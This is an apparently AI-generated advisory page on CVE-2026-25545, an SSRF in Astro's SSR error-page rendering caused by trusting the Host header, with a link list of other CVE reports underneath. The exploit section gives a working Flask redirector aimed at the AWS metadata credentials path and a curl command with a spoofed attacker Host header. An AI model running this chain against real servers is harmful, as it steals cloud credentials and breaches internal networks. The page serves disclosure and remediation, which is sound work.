CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-25545

Astro-nomical Screw Up: Full-Read SSRF via Host Header Injection

Alon Barad
Alon Barad
Software Engineer

Feb 24, 2026·7 min read·54 visits

Executive Summary (TL;DR)

Astro < 9.5.4 allows attackers to poison the `Host` header. When the server renders a custom error page (like 404.astro), it fetches the page using that poisoned host. Because the fetch follows redirects, attackers can bounce the request to internal IPs (SSRF), leaking sensitive data.

Astro, the darling framework of the static site generation world, stumbled into a classic web security pitfall: trusting the client. In versions prior to 9.5.4, Astro's Server-Side Rendering (SSR) engine blindly trusted the HTTP `Host` header when fetching custom error pages. By poisoning this header, an attacker can trick the server into fetching resources from an external domain. The kicker? The internal fetch mechanism follows redirects by default. This turns a simple error page rendering process into a proxy for accessing internal network resources, local services, or cloud metadata endpoints.

The Hook: Trusting Strangers with Candy

Modern web frameworks are marvels of engineering, abstracting away the grit of HTTP so developers can focus on building beautiful UIs. But abstraction often hides danger. Astro, known for its "zero-JavaScript-by-default" philosophy, has a robust Server-Side Rendering (SSR) mode. When things go wrong in SSR land—like a 404 Not Found or a 500 Internal Server Error—Astro tries to be helpful. It looks for a custom error page (e.g., 404.astro) to render a pretty apology to the user.

Here is where the logic gets fuzzy. To render that error page, Astro treats it almost like an external resource request. It needs a URL to fetch that page from. And where does it get the base URL for that request? From the Host header of the incoming request. If you’ve been in the security game for more than a week, your ears should be burning right now. The Host header is user-controlled input. Trusting it is like letting a stranger write their own name on the guest list at a high-security facility.

By manipulating this header, an attacker can dictate where Astro looks for its error page. Instead of looking at localhost:3000/404, it looks at attacker.com/404. If that were the end of it, we’d just have a defacement bug. But because the underlying fetch mechanism is too polite—it follows HTTP redirects—we have a recipe for disaster.

The Flaw: A comedy of Errors (and Redirects)

The vulnerability lives in packages/astro/src/core/app/base.ts. When an error occurs during SSR, the renderError() function is triggered. This function's job is to fetch the pre-rendered HTML for the error code (e.g., 500). To construct the URL for this fetch, Astro concatenates the protocol with the value of this.baseWithoutTrailingSlash. And this.baseWithoutTrailingSlash is derived directly from the request headers.

Technically, this is a blind trust in the Host header (CWE-601/CWE-113 equivalent context), culminating in SSRF (CWE-918). The code didn't validate if the Host header actually matched the server's configuration or the intended domain. It just assumed that if a request came in, the Host header must be truthful.

The critical failure, however, isn't just the header injection. It's the behavior of the HTTP client used to fetch the error page. By default, Node.js fetch implementations (and the polyfills used by Astro) follow HTTP 3xx redirects automatically. This creates a "bounce" effect. The attacker tells Astro: "Hey, get the error page from evil.com." Astro connects to evil.com. evil.com replies with "301 Moved Permanently: Go to http://169.254.169.254/latest/meta-data/." Astro, being a dutiful program, follows the redirect to the AWS metadata service, grabs the credentials, and serves them up as the "Error Page" content.

The Code: The Smoking Gun

Let's look at the logic flow. In the vulnerable versions, the internal fetch call looked something like this (simplified for clarity):

// Vulnerable Logic in base.ts
async renderError(request, error) {
  // 1. Get the origin from the (attacker-controlled) Host header
  const origin = request.headers.get('host');
  
  // 2. Construct the URL for the error page
  const errorPageUrl = `http://${origin}/500`;
 
  // 3. Fetch it (Defaults: follow redirects = true)
  const response = await fetch(errorPageUrl);
  
  // 4. Return the body to the user
  return response.text();
}

The fix in version 9.5.4 is elegant in its simplicity. It doesn't just try to sanitize the Host header (which is hard to do perfectly); it neuters the fetch mechanism itself. By setting the redirect mode to manual, the developers ensure that even if an attacker injects a malicious host, the server will refuse to follow the redirect to an internal resource.

// Patched Logic
async renderError(request, error) {
  // ... URL construction ...
 
  const response = await fetch(errorPageUrl, {
    // THE FIX: Stop following redirects automatically
    redirect: 'manual',
  });
 
  // Additional checks often added:
  // Validate protocol is http/https
  // Check allowlist of domains
}

This change effectively breaks the chain. The attacker can still point the Host header to evil.com, but when evil.com tries to redirect to localhost:6379 (Redis) or AWS metadata, Astro simply stops and says, "I'm done here."

The Exploit: Stealing Secrets via Error Pages

To exploit this, we need an Astro app running in SSR mode with a custom error page (e.g., src/pages/500.astro). If the target uses the default error page, this vector might not trigger the specific fetch logic we need. Here is the attack chain:

Step 1: The Setup We need a malicious server acting as a redirector. A simple Python Flask app works wonders here:

# attacker.py
from flask import Flask, redirect
app = Flask(__name__)
 
@app.route('/500')
def malicious_redirect():
    # Redirect the victim server to its own internal metadata service
    return redirect('http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role')
 
if __name__ == '__main__':
    app.run(port=1337)

Step 2: The Trigger We send a request to the target Astro app that guarantees an error (triggering the 500 page logic) and inject our malicious host.

curl -v "http://target-astro-app.com/force-error" \
     -H "Host: attacker-server.com:1337"

Step 3: The Execution

  1. Astro receives the request.
  2. The app throws an error (maybe we hit a route that crashes or acts up).
  3. Astro catches the error and decides to render 500.astro.
  4. Astro sees Host: attacker-server.com:1337.
  5. Astro fetches http://attacker-server.com:1337/500.
  6. Our Python script replies: 302 Found -> http://169.254.169.254/....
  7. Astro follows the redirect.
  8. AWS replies with the IAM credentials.
  9. Astro serves those credentials to us as the HTML of the 500 page.

Congratulations, you just turned a website crash into a cloud compromise.

The Impact: Why You Should Panic

This isn't just about reading files. In modern cloud-native environments, an SSRF is often a "Game Over" vulnerability. The impact depends entirely on where the Astro server is sitting in your network topology.

Scenario A: Cloud Metadata If the server is on AWS, GCP, or Azure, and hasn't explicitly blocked access to the instance metadata service, an attacker can steal temporary credentials. This allows them to effectively become the server, accessing S3 buckets, databases, and other cloud resources.

Scenario B: Internal Services Is your Astro app running inside a Kubernetes cluster? Great. An attacker can use this SSRF to probe internal services that assume they are safe behind the firewall. They could hit the Kubelet API, internal admin panels, or unauthenticated Redis instances. If the response is text-based, they can read the data.

Scenario C: Localhost Even on a standalone box, attackers can probe localhost ports to identify running services, potentially chaining this with other vulnerabilities to achieve Remote Code Execution (RCE).

The Fix: Closing the Window

The immediate remediation is to upgrade to @astrojs/node version 9.5.4 or later. The patch effectively neuters the redirect behavior that makes this exploit potent.

However, relying solely on a library patch is bad opsec. You should apply Defense in Depth principles:

  1. Validate Host Headers at the Edge: Configure your reverse proxy (Nginx, Apache, Cloudflare) to strictly whitelist the Host header. If your site is example.com, the server should drop any request claiming to be for evil.com before it even reaches the Astro app.
  2. Egress Filtering: Why is your web server allowed to talk to the internet arbitrarily? Use firewall rules to block your application server from initiating outbound connections to anything other than necessary APIs.
  3. Block Metadata Access: If you are in the cloud, ensure your instance cannot reach 169.254.169.254 unless strictly necessary (and even then, require IMDSv2 which uses session tokens to mitigate SSRF).

Official Patches

AstroOfficial GitHub Security Advisory

Fix Analysis (1)

Technical Appendix

CVSS Score
6.9/ 10
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N

Affected Systems

Astro Web Framework@astrojs/node package (npm)Server-Side Rendering (SSR) deploymentsApplications with custom error pages (404.astro, 500.astro)

Affected Versions Detail

Product
Affected Versions
Fixed Version
@astrojs/node
Astro
< 9.5.49.5.4
AttributeDetail
CWE IDCWE-918
Attack VectorNetwork
CVSS6.9 (Medium)
ImpactHigh Confidentiality (Internal)
Exploit StatusPoC Available
PrerequisitesSSR Enabled, Custom Error Pages

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1552Unsecured Credentials
Credential Access
T1133External Remote Services
Persistence
CWE-918
Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Known Exploits & Detection

Aikido SecurityOriginal disclosure and PoC methodology

Vulnerability Timeline

Vulnerability reported to Astro maintainers
2026-02-04
Fix committed (redirect: manual)
2026-02-18
GitHub Advisory Published
2026-02-23

References & Sources

  • [1]Astro Documentation
  • [2]CWE-918: SSRF

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•6 days ago•CVE-2026-9354
6.9

CVE-2026-9354: Arbitrary Mass Mention Bypass in NousResearch hermes-agent Slack and Mattermost Adapters

A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.

Alon Barad
Alon Barad
35 views•6 min read
•7 days ago•CVE-2026-9306
6.3

CVE-2026-9306: Unauthenticated Insecure Direct Object Reference (IDOR) in QuantumNous new-api Midjourney Relay

CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.

Amit Schendel
Amit Schendel
13 views•5 min read
•7 days ago•GHSA-GGXF-37HM-9WQF
6.5

GHSA-GGXF-37HM-9WQF: Session Leakage via Unsafe Challenge Path Parsing in instagrapi

The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.

Amit Schendel
Amit Schendel
21 views•6 min read
•8 days ago•GHSA-QQQM-5547-774X
9.1

GHSA-QQQM-5547-774X: Unauthenticated Path Traversal in FileBrowser Quantum PATCH Handler

GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.

Alon Barad
Alon Barad
9 views•6 min read
•8 days ago•CVE-2026-8723
5.3

CVE-2026-8723: Synchronous Denial of Service in qs npm Package via TypeError

The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.

Amit Schendel
Amit Schendel
37 views•7 min read
•8 days ago•GHSA-7M8F-HGJQ-8GC9
7.5

GHSA-7M8F-HGJQ-8GC9: Pre-Authentication Denial of Service via Insecure Deserialization Order in aiosend

The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.

Amit Schendel
Amit Schendel
4 views•6 min read